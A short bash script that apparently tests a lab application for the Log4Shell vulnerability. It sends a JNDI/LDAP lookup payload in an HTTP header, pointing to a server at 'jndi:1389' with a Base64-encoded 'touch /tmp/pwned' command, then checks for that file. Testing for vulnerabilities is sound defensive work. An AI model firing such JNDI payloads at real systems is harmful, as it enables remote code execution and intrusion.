#!/bin/bash curl app:8080 -H 'X-Api-Version: ${jndi:ldap://jndi:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}' sleep 5 filename=/tmp/pwned if [ -f "$filename" ]; then echo "Regrettably, you've been pwned :(" echo "This configuration is vulnerable to log4shell" else echo "It looks like you're safe!" fi